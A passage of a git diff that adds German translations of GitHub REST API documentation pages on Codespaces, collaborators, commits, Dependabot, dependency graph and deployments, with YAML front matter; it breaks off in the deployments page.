+Du kannst diesen mit `GET`-Anforderungen an den `/analyses/{analysis_id}`-Endpunkt senden. Weitere Informationen zu diesem Vorgang findest du unter [Abrufen einer {% data variables.product.prodname_code_scanning %}-Analyse für ein Repository](#get-a-code-scanning-analysis-for-a-repository). Wenn du diesen Medientyp mit diesem Vorgang verwendest, enthält die Antwort eine Teilmenge der tatsächlichen Daten, die für die angegebene Analyse hochgeladen wurden, anstatt der Zusammenfassung der Analyse, die zurückgegeben wird, wenn du den Standardmedientyp verwendest. Die Antwort enthält auch zusätzliche Daten, z. B. die `github/alertNumber`- und `github/alertUrl`-Eigenschaften. Die Daten werden mit der [SARIF-Version 2.1.0](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html) formatiert.
+
+Weitere Informationen findest du unter [Medientypen](/rest/overview/media-types).
diff --git a/translations/de-DE/content/rest/codes-of-conduct.md b/translations/de-DE/content/rest/codes-of-conduct.md
new file mode 100644
index 0000000000..e058cb846d
--- /dev/null
+++ b/translations/de-DE/content/rest/codes-of-conduct.md
@@ -0,0 +1,23 @@
+---
+title: Verhaltensregeln
+intro: Mit der Verhaltensregel-API kannst du Informationen zu den Verhaltensregeln eines Repositorys erhalten.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /rest/reference/codes-of-conduct
+ms.openlocfilehash: f852ac27bdac2a644e5f73a9b050087b2bf4d38c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147061386'
+---
+## Informationen zur Verhaltensregeln-API
+
+Du kannst die Verhaltensregel-API verwenden, um Informationen zu den Verhaltensregeln eines Repositorys zu erhalten. Um die Verhaltensregeln eines Repositorys abzurufen, verwende den Endpunkt [Repository abrufen](/rest/reference/repos#get-a-repository).
diff --git a/translations/de-DE/content/rest/codespaces/codespaces.md b/translations/de-DE/content/rest/codespaces/codespaces.md
new file mode 100644
index 0000000000..ce37af620a
--- /dev/null
+++ b/translations/de-DE/content/rest/codespaces/codespaces.md
@@ -0,0 +1,14 @@
+---
+title: Codespaces
+intro: The Codespaces API enables you to manage your codespaces using the REST API.
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+## About the Codespaces API
+
+The {% data variables.product.prodname_github_codespaces %} API enables you to manage {% data variables.product.prodname_codespaces %} using the REST API. This API is available for authenticated users, {% data variables.product.prodname_oauth_apps %}, and {% data variables.product.prodname_github_apps %}. For more information, see "[{% data variables.product.prodname_codespaces %}](/codespaces)."
diff --git a/translations/de-DE/content/rest/codespaces/index.md b/translations/de-DE/content/rest/codespaces/index.md
new file mode 100644
index 0000000000..f7b8b609c1
--- /dev/null
+++ b/translations/de-DE/content/rest/codespaces/index.md
@@ -0,0 +1,26 @@
+---
+title: Codespaces
+intro: 'Mit der {% data variables.product.prodname_github_codespaces %}-API kannst du deine Codespaces mithilfe der REST-API verwalten.'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+children:
+  - /codespaces
+  - /organizations
+  - /organization-secrets
+  - /machines
+  - /repository-secrets
+  - /secrets
+redirect_from:
+  - /rest/reference/codespaces
+ms.openlocfilehash: c632b85d7e44e225a7dea2669a28a79a220f90a7
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148160241'
+---
+
diff --git a/translations/de-DE/content/rest/codespaces/machines.md b/translations/de-DE/content/rest/codespaces/machines.md
new file mode 100644
index 0000000000..899af8fd09
--- /dev/null
+++ b/translations/de-DE/content/rest/codespaces/machines.md
@@ -0,0 +1,23 @@
+---
+title: Codespaces-Computer
+allowTitleToDifferFromFilename: true
+shortTitle: Machines
+intro: 'Mit der Codespaces-Computer-API können Benutzer*innen ermitteln, welche Computertypen verfügbar sind, um einen Codespace entweder in einem bestimmten Repository oder als authentifizierte*r Benutzer*in zu erstellen.'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 4ef510cd054696025d885bec854f5360cae17e96
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147067978'
+---
+## Informationen zur Codespaces-Computer-API
+
+Mit der Codespaces-Computer-API können Benutzer*innen ermitteln, welche Computertypen verfügbar sind, um einen Codespace entweder in einem bestimmten Repository oder als authentifizierte*r Benutzer*in zu erstellen. Weitere Informationen findest du unter [Informationen zu Computertypen](/codespaces/developing-in-codespaces/changing-the-machine-type-for-your-codespace#about-machine-types).
+
+Du kannst diese Informationen auch verwenden, wenn du den Computer eines bestehenden Codespace änderst, indem du seine `machine`-Eigenschaft aktualisieren. Das Computerupdate erfolgt beim nächsten Neustart des Codespace. Weitere Informationen zu Computertypen findest du unter [Ändern des Computertyps für deinen Codespace](/codespaces/developing-in-codespaces/changing-the-machine-type-for-your-codespace).
diff --git a/translations/de-DE/content/rest/codespaces/organizations.md b/translations/de-DE/content/rest/codespaces/organizations.md
new file mode 100644
index 0000000000..0e905ec11d
--- /dev/null
+++ b/translations/de-DE/content/rest/codespaces/organizations.md
@@ -0,0 +1,21 @@
+---
+title: Codespaces-Organisationen
+allowTitleToDifferFromFilename: true
+shortTitle: Organizations
+intro: Mit der Codespaces-Organisations-API kannst die Codespaces der Mitglieder deiner Organisation mithilfe der REST-API zu verwalten.
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 0daf0d24f839c92d8eea6b221346b2df312071cf
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148159625'
+---
+## Informationen zur Codespaces-Organisations-API
+
+Mit der {% data variables.product.prodname_codespaces %}-Organisations-API kannst du {% data variables.product.prodname_codespaces %}, die deiner Organisation berechnet werden, mithilfe der REST-API verwalten. Diese API ist für authentifizierte Organisationsadministratoren und OAuth-Apps, aber nicht für GitHub-Apps verfügbar. Weitere Informationen findest du unter [{% data variables.product.prodname_codespaces %}](/codespaces).
diff --git a/translations/de-DE/content/rest/codespaces/repository-secrets.md b/translations/de-DE/content/rest/codespaces/repository-secrets.md
new file mode 100644
index 0000000000..9fa5ae9f49
--- /dev/null
+++ b/translations/de-DE/content/rest/codespaces/repository-secrets.md
@@ -0,0 +1,22 @@
+---
+title: Repositorygeheimnisse von Codespaces
+allowTitleToDifferFromFilename: true
+shortTitle: Repository secrets
+intro: "Die API der Repositorygeheimnisse von Codespaces ermöglicht Benutzern, Geheimnisse (z.\_B. Zugriffstoken für Clouddienste) für Repositorys zu erstellen, aufzulisten und zu löschen, auf die Benutzer in einem Codespace Zugriff haben."
+permissions: 'Users with write access to a repository can manage {% data variables.product.prodname_codespaces %} repository secrets.'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 95b3dfaafef598bf05f55d697716eb1036093697
+ms.sourcegitcommit: 9490533fcb7b7d5c16f8fea082a06ee66dd5db8f
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/16/2022
+ms.locfileid: '148165601'
+---
+## Informationen zur API der Repositorygeheimnisse von Codespaces
+
+Die API der Repositorygeheimnisse von Codespaces ermöglicht Benutzer*innen, Geheimnisse (z. B. Zugriffstoken für Clouddienste) für Repositorys zu erstellen, aufzulisten und zu löschen, auf die Benutzer*innen Zugriff haben. Diese Geheimnisse werden dem Codespace zur Laufzeit zur Verfügung gestellt. Weitere Informationen findest du unter [Verwalten verschlüsselter Geheimnisse für deine Codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces).
diff --git a/translations/de-DE/content/rest/codespaces/secrets.md b/translations/de-DE/content/rest/codespaces/secrets.md
new file mode 100644
index 0000000000..ad16036154
--- /dev/null
+++ b/translations/de-DE/content/rest/codespaces/secrets.md
@@ -0,0 +1,21 @@
+---
+title: Codespaces-Benutzergeheimnisse
+allowTitleToDifferFromFilename: true
+shortTitle: User secrets
+intro: "Mithilfe der Benutzergeheimnis-API für Codespaces kann ein Benutzer Geheimnisse (z.\_B. Zugriffstoken für Clouddienste) erstellen, auflisten und löschen sowie den ihm zugänglichen Repositorys in einem Codespace Geheimnisse zuweisen."
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 28588492685865888643b5ed1956b327c9ac838c
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147067234'
+---
+## Informationen zur Codespaces-Benutzergeheimnis-API
+
+Mithilfe der Benutzergeheimnis-API für Codespaces kann ein Benutzer Geheimnisse (z. B. Zugriffstoken für Clouddienste) erstellen, auflisten und löschen sowie den ihm zugänglichen Repositorys Geheimnisse zuweisen. Diese Geheimnisse werden dem Codespace zur Laufzeit zur Verfügung gestellt. Weitere Informationen findest du unter [Verwalten verschlüsselter Geheimnisse für deine Codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces).
diff --git a/translations/de-DE/content/rest/collaborators/collaborators.md b/translations/de-DE/content/rest/collaborators/collaborators.md
new file mode 100644
index 0000000000..669c3179b8
--- /dev/null
+++ b/translations/de-DE/content/rest/collaborators/collaborators.md
@@ -0,0 +1,19 @@
+---
+title: Projektmitarbeiter
+intro: Mit der Projektmitarbeiter-API kannst du Mitarbeiter für ein Repository verwalten.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 47ce2731026586709479ca8d7cf1fdc90bc0baa2
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147066658'
+---
+
diff --git a/translations/de-DE/content/rest/collaborators/index.md b/translations/de-DE/content/rest/collaborators/index.md
new file mode 100644
index 0000000000..135d81b60f
--- /dev/null
+++ b/translations/de-DE/content/rest/collaborators/index.md
@@ -0,0 +1,25 @@
+---
+title: Projektmitarbeiter
+intro: 'Die Mitarbeiter-API ermöglicht dir, Mitarbeiter einem Repository hinzuzufügen, sie dazu einzuladen und daraus zu entfernen.'
+allowTitleToDifferFromFilename: true
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+children:
+  - /collaborators
+  - /invitations
+redirect_from:
+  - /rest/reference/collaborators
+ms.openlocfilehash: db14a7c07becae4c90eb7f556f51b6f222cd689e
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147092950'
+---
+
diff --git a/translations/de-DE/content/rest/collaborators/invitations.md b/translations/de-DE/content/rest/collaborators/invitations.md
new file mode 100644
index 0000000000..176eb68bfc
--- /dev/null
+++ b/translations/de-DE/content/rest/collaborators/invitations.md
@@ -0,0 +1,27 @@
+---
+title: Einladungen zu Repositorys
+allowTitleToDifferFromFilename: true
+shortTitle: Invitations
+intro: 'Mit der API für Einladungen zu Repositorys kannst du Einladungen anzeigen und verwalten, um an einem Repository zusammenzuarbeiten.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 8096f49ce586f3f56a686b99a688a6894653d9b4
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147065794'
+---
+## Informationen zur API für Einladungen zu Repositorys
+
+Mit der API für Einladungen zu Repositorys kannst du Einladungen anzeigen und verwalten, um an einem Repository zusammenzuarbeiten. Die eingeladenen Benutzer*innen (oder externe Dienste im Namen eingeladener Benutzer*innen) können sich entscheiden, die Einladungen anzunehmen oder abzulehnen.
+
+Um eine*n Benutzer*in als Projektmitarbeiter*in hinzuzufügen, verwende stattdessen die Projektmitarbeiter-API. Weitere Informationen findest du unter [Hinzufügen eines Projektmitarbeiters zu einem Repository](/rest/collaborators/collaborators#add-a-repository-collaborator).
+
+Beachte, dass der `repo:invite`-[OAuth-Bereich](/developers/apps/scopes-for-oauth-apps) gezielten Zugriff auf Einladungen ermöglicht, **ohne** zusätzlich Zugriff auf den Repositorycode zu gewähren. Der `repo`-Bereich gewährt wiederum Berechtigungen für Code sowie für Einladungen.
diff --git a/translations/de-DE/content/rest/commits/comments.md b/translations/de-DE/content/rest/commits/comments.md
new file mode 100644
index 0000000000..ec204a1c68
--- /dev/null
+++ b/translations/de-DE/content/rest/commits/comments.md
@@ -0,0 +1,33 @@
+---
+title: Commit-Kommentare
+intro: 'Mit der API für Commitkommentare kannst du Kommentare erstellen und bearbeiten, die sich auf bestimmte Commits beziehen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: e959f04a9df15d2d9ce2765d2669cce7e8de0e5b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147065346'
+---
+## Informationen zur API für Commitkommentare
+
+Mit der API für Commitkommentare kannst du Kommentare erstellen und bearbeiten, die sich auf bestimmte Commits beziehen.
+
+### Benutzerdefinierte Medientypen für Commitkommentare
+
+Die folgenden Medientypen werden für Commitkommentare unterstützt. Weitere Informationen zur Verwendung von Medientypen in der API findest du [hier](/rest/overview/media-types).
+
+    application/vnd.github-commitcomment.raw+json
+    application/vnd.github-commitcomment.text+json
+    application/vnd.github-commitcomment.html+json
+    application/vnd.github-commitcomment.full+json
+
+Weitere Informationen findest du unter [Benutzerdefinierte Medientypen](/rest/overview/media-types).
diff --git a/translations/de-DE/content/rest/commits/commits.md b/translations/de-DE/content/rest/commits/commits.md
new file mode 100644
index 0000000000..bde09a22db
--- /dev/null
+++ b/translations/de-DE/content/rest/commits/commits.md
@@ -0,0 +1,19 @@
+---
+title: Commits
+intro: 'Mit der Commits-API kannst du Commits in einem Repository auflisten, anzeigen und vergleichen. Du kannst auch mit Commitkommentaren und -Status interagieren.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 6cb7f2374036f990943bf454b9cf095a1e09acfe
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147060650'
+---
+
diff --git a/translations/de-DE/content/rest/commits/index.md b/translations/de-DE/content/rest/commits/index.md
new file mode 100644
index 0000000000..e33d3f3214
--- /dev/null
+++ b/translations/de-DE/content/rest/commits/index.md
@@ -0,0 +1,26 @@
+---
+title: Commits
+intro: 'Mit der Commits-API kannst du Commits in einem Repository auflisten, anzeigen und vergleichen. Du kannst auch mit Commitkommentaren und -Status interagieren.'
+allowTitleToDifferFromFilename: true
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+children:
+  - /commits
+  - /comments
+  - /statuses
+redirect_from:
+  - /rest/reference/commits
+ms.openlocfilehash: d92fd801baf64b2003db780d7da0532279c64d97
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147060081'
+---
+
diff --git a/translations/de-DE/content/rest/commits/statuses.md b/translations/de-DE/content/rest/commits/statuses.md
new file mode 100644
index 0000000000..2af4ae0137
--- /dev/null
+++ b/translations/de-DE/content/rest/commits/statuses.md
@@ -0,0 +1,30 @@
+---
+title: Commitstatus
+intro: 'Die Commitstatus-API ermöglicht externen Diensten das Markieren von Commits mit einem Status, der dann in Pull Requests mit diesen Commits widergespiegelt wird.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 4c75b4817ecddad0e91460d7d12eddabc634d588
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147882295'
+---
+## Informationen zur Commitstatus-API
+
+Die Commitstatus-API ermöglicht externen Diensten das Markieren von Commits mit einem `error`-, `failure`-, `pending`- oder `success`-Status, der dann in Pull Requests mit diesen Commits widergespiegelt wird. Statuswerte können auch eine optionale `description` und `target_url` enthalten, und es wird dringend empfohlen, sie bereitzustellen, weil dadurch die Statuswerte auf der GitHub-Benutzeroberfläche viel zweckmäßiger sind.
+
+Ein Beispiel für die Verwendung ist für Continuous Integration-Dienste, um Commits als Builds mit dem Status „Übergeben“ oder „Fehler“ zu kennzeichnen.  `target_url` wäre hier die vollständige URL für die Buildausgabe, und `description` wäre die allgemeine Zusammenfassung der Ereignisse mit dem Build.
+
+Statuswerte können `context` einschließen, um anzugeben, welcher Dienst diesen Status bereitstellt. Als Beispiel können die Pushstatuswerte deines Continuous Integration-Diensts den Kontext `ci` und die Pushstatuswerte deines Sicherheitsüberwachungstools den Kontext `security` besitzen.  Anschließend kannst du den [kombinierten Status für einen bestimmten Verweis abrufen](/rest/reference/commits#get-the-combined-status-for-a-specific-reference), um den gesamten Status eines Commits zu erhalten.
+
+Beachte, dass der `repo:status`-[OAuth-Bereich](/developers/apps/scopes-for-oauth-apps) gezielten Zugriff auf Statuswerte ermöglicht, **ohne** zusätzlich Zugriff auf den Repositorycode zu gewähren. Der `repo`-Bereich gewährt wiederum Berechtigungen für Code sowie für Statuswerte.
+
+Wenn du eine GitHub-App entwickelst und weitere detaillierte Informationen zu einem externen Dienst bereitstellen möchtest, solltest du die [Überprüfungen-API](/rest/reference/checks) verwenden.
diff --git a/translations/de-DE/content/rest/dependabot/index.md b/translations/de-DE/content/rest/dependabot/index.md
new file mode 100644
index 0000000000..815cdfc355
--- /dev/null
+++ b/translations/de-DE/content/rest/dependabot/index.md
@@ -0,0 +1,18 @@
+---
+title: Dependabot
+intro: 'With the {% data variables.product.prodname_dependabot %} API, you can manage {% data variables.product.prodname_dependabot %} alerts and secrets for an organization or repository.'
+allowTitleToDifferFromFilename: true
+versions:
+  fpt: '*'
+  ghes: '>=3.4'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+children:
+  - /alerts
+  - /secrets
+redirect_from:
+  - /rest/reference/dependabot
+---
+
diff --git a/translations/de-DE/content/rest/dependabot/secrets.md b/translations/de-DE/content/rest/dependabot/secrets.md
new file mode 100644
index 0000000000..5cb2dd9d10
--- /dev/null
+++ b/translations/de-DE/content/rest/dependabot/secrets.md
@@ -0,0 +1,23 @@
+---
+title: Dependabot-Geheimnisse
+shortTitle: Secrets
+intro: 'Mit der API für {% data variables.product.prodname_dependabot %}-Geheimnisse kannst du {% data variables.product.prodname_dependabot %}-Geheimnisse für eine Organisation oder ein Repository verwalten und steuern.'
+topics:
+  - API
+versions:
+  fpt: '*'
+  ghes: '>=3.4'
+  ghec: '*'
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 0cabee9ace44e75d8fcd2ce81aa9d7583b39e59d
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147882287'
+---
+## Informationen zur API der {% data variables.product.prodname_dependabot %}-Geheimnisse
+
+Mithilfe der API der {% data variables.product.prodname_dependabot %}-Geheimnisse kannst du Informationen zu verschlüsselten Geheimnissen erstellen, aktualisieren, löschen und abrufen. {% data reusables.actions.about-secrets %} Weitere Informationen findest du unter [Erstellen verschlüsselter Geheimnisse für Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot).
+
+{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} müssen zum Verwenden dieser API über die `dependabot_secrets`-Berechtigung verfügen. Authentifizierte Benutzer müssen für ein Repository die Zugriffsrechte von Mitwirkenden besitzen, um Geheimnisse zu erstellen, zu aktualisieren oder zu lesen.
diff --git a/translations/de-DE/content/rest/dependency-graph/dependency-review.md b/translations/de-DE/content/rest/dependency-graph/dependency-review.md
new file mode 100644
index 0000000000..1aadb86e07
--- /dev/null
+++ b/translations/de-DE/content/rest/dependency-graph/dependency-review.md
@@ -0,0 +1,22 @@
+---
+title: Abhängigkeitsüberprüfung
+intro: 'Mithilfe der Abhängigkeitsüberprüfungs-API kannst du Änderungen an Abhängigkeiten und deren Auswirkungen auf die Sicherheit nachvollziehen, bevor du diese deiner Umgebung hinzufügst.'
+versions:
+  fpt: '*'
+  ghes: '>=3.6'
+  ghec: '*'
+  ghae: '>= 3.6'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 9988c87ed4b0dcbe9c8a0694ebe0ca43d5bc336e
+ms.sourcegitcommit: 1529de77bfcbe45519131b5f5fb3ab319758c2d2
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/14/2022
+ms.locfileid: '148164232'
+---
+## Informationen zur Abhängigkeitsüberprüfungs-API
+
+Mithilfe der Abhängigkeitsüberprüfungs-API kannst du Änderungen an Abhängigkeiten und deren Auswirkungen auf die Sicherheit nachvollziehen, bevor du diese deiner Umgebung hinzufügst. Du siehst die unterschiedlichen Abhängigkeiten zwischen zwei Commits eines Repositorys, einschließlich der Sicherheitsrisikodaten für sämtliche Versionsupdates mit bekannten Sicherheitsrisiken. Weitere Informationen zur Abhängigkeitsüberprüfung findest du unter [Informationen zur Abhängigkeitsüberprüfung](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review).
diff --git a/translations/de-DE/content/rest/dependency-graph/dependency-submission.md b/translations/de-DE/content/rest/dependency-graph/dependency-submission.md
new file mode 100644
index 0000000000..dbcdfe8321
--- /dev/null
+++ b/translations/de-DE/content/rest/dependency-graph/dependency-submission.md
@@ -0,0 +1,22 @@
+---
+title: Abhängigkeitsübermittlung
+intro: 'Mit der Abhängigkeitsübermittlungs-API kannst du Abhängigkeiten für Projekte übermitteln, z. B. die Abhängigkeiten, die gelöst werden, wenn ein Projekt erstellt oder kompiliert wird.'
+versions:
+  feature: dependency-submission-api
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 72ffb8376c33972ab02c0a5fb48504b92fef3cec
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147080388'
+---
+## Informationen zur Abhängigkeitsübermittlungs-API
+
+{% data reusables.dependency-submission.dependency-submission-api-beta %}
+
+{% data reusables.dependency-submission.about-dependency-submission %}
+
+Abhängigkeiten werden in Form einer Momentaufnahme an die Abhängigkeitsübermittlungs-API übermittelt. Eine Momentaufnahme ist eine Reihe von Abhängigkeiten, die einem Commit-SHA und anderen Metadaten zugeordnet sind, die den aktuellen Status deines Repositorys für einen Commit widerspiegeln.  Du kannst dich entscheiden, vordefinierte Aktionen zu verwenden, oder eigene Aktionen zu erstellen, um jedes Mal, wenn dein Projekt erstellt wird, deine Abhängigkeiten im erforderlichen Format an die Abhängigkeitsübermittlungs-API zu übermitteln. Weitere Informationen zur Abhängigkeitsübermittlungs-API findest du unter [Verwenden der Abhängigkeitsübermittlungs-API](/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api).
+
+Du kannst mehrere Sätze von Abhängigkeiten, die in deinem Abhängigkeitsdiagramm enthalten sein sollen, an die Abhängigkeitsübermittlungs-API übermitteln. Die API verwendet die `job.correlator`-Eigenschaft und die `detector.name`-Kategorie der Momentaufnahme, um sicherzustellen, dass die neuesten Übermittlungen für jeden Workflow angezeigt werden. Die `correlator`-Eigenschaft selbst ist das primäre Feld, mit dem du unabhängige Übermittlungen auseinander hältst. Ein Beispiel `correlator` könnte eine einfache Kombination aus zwei Variablen sein, die in Aktionen verfügbar sind: `<GITHUB_WORKFLOW> <GITHUB_JOB>`.
diff --git a/translations/de-DE/content/rest/dependency-graph/index.md b/translations/de-DE/content/rest/dependency-graph/index.md
new file mode 100644
index 0000000000..c5c2a7c461
--- /dev/null
+++ b/translations/de-DE/content/rest/dependency-graph/index.md
@@ -0,0 +1,24 @@
+---
+title: Abhängigkeitsdiagramm
+intro: Mit der Abhängigkeitsdiagramm-API kannst du Abhängigkeitsänderungen und deren Auswirkungen auf die Sicherheit deines Repositorys anzeigen.
+versions:
+  fpt: '*'
+  ghes: '>=3.6'
+  ghec: '*'
+  ghae: '>= 3.6'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+children:
+  - /dependency-review
+  - /dependency-submission
+redirect_from:
+  - /rest/reference/dependency-graph
+ms.openlocfilehash: b9eda1bcdbc1bae4603277f529e5342036c504df
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147065586'
+---
+
diff --git a/translations/de-DE/content/rest/deploy-keys.md b/translations/de-DE/content/rest/deploy-keys.md
new file mode 100644
index 0000000000..4b633ef6db
--- /dev/null
+++ b/translations/de-DE/content/rest/deploy-keys.md
@@ -0,0 +1,26 @@
+---
+title: Schlüssel bereitstellen
+intro: Mit der API für Bereitstellungsschlüssel kannst du Bereitstellungsschlüssel erstellen und verwalten.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+allowTitleToDifferFromFilename: true
+redirect_from:
+  - /rest/reference/deploy_keys
+ms.openlocfilehash: c6acc6d9a09207700c77e43dd8fec522db372bdd
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147060075'
+---
+## Informationen zur Schlüsselbereitstellungs-API
+
+{% data reusables.repositories.deploy-keys %}
+
+Die Bereitstellung von Schlüsseln kann entweder mithilfe der folgenden API-Endpunkte oder über GitHub eingerichtet werden. Informationen zum Einrichten der Bereitstellung von Schlüsseln in GitHub findest du unter [Verwalten von Bereitstellungsschlüsseln](/developers/overview/managing-deploy-keys).
diff --git a/translations/de-DE/content/rest/deployments/branch-policies.md b/translations/de-DE/content/rest/deployments/branch-policies.md
new file mode 100644
index 0000000000..a64ed1be0b
--- /dev/null
+++ b/translations/de-DE/content/rest/deployments/branch-policies.md
@@ -0,0 +1,25 @@
+---
+title: Richtlinien für Bereitstellungsbranches
+allowTitleToDifferFromFilename: true
+shortTitle: Deployment branch policies
+intro: Mit der Richtlinien-API für Bereitstellungsbranches kannst du benutzerdefinierte Richtlinien für Bereitstellungsbranches verwalten.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 109bf81019d62e4c654ba6da4fa71f8fd359ceb4
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109593'
+---
+## Informationen zur Richtlinien-API für Bereitstellungsbranches
+
+Mit der Richtlinien-API für Bereitstellungsbranches kannst du benutzerdefinierte Namensmuster angeben, mit denen Branches übereinstimmen müssen, um in einer Umgebung bereitgestellt zu werden. Die `deployment_branch_policy.custom_branch_policies`-Eigenschaft für die Umgebung muss auf `true` festgelegt werden, um diese Endpunkte zu verwenden. Zum Aktualisieren der `deployment_branch_policy` für eine Umgebung findest du unter [Erstellen oder Aktualisieren einer Umgebung](/rest/deployments/environments#create-or-update-an-environment). 
+
+Weitere Informationen zum Einschränken von Umgebungsbereitstellungen auf bestimmte Branches findest du unter [Verwenden von Umgebungen für die Bereitstellung](/actions/deployment/targeting-different-environments/using-environments-for-deployment#deployment-branches).
diff --git a/translations/de-DE/content/rest/deployments/deployments.md b/translations/de-DE/content/rest/deployments/deployments.md
new file mode 100644
index 0000000000..0cd2b42859
--- /dev/null
+++ b/translations/de-DE/content/rest/deployments/deployments.md
@@ -0,0 +1,62 @@
+---
+title: Deployments
+intro: The Deployments API allows you to create and delete deployments and deployment environments.
+versions:
+  fpt: '*'
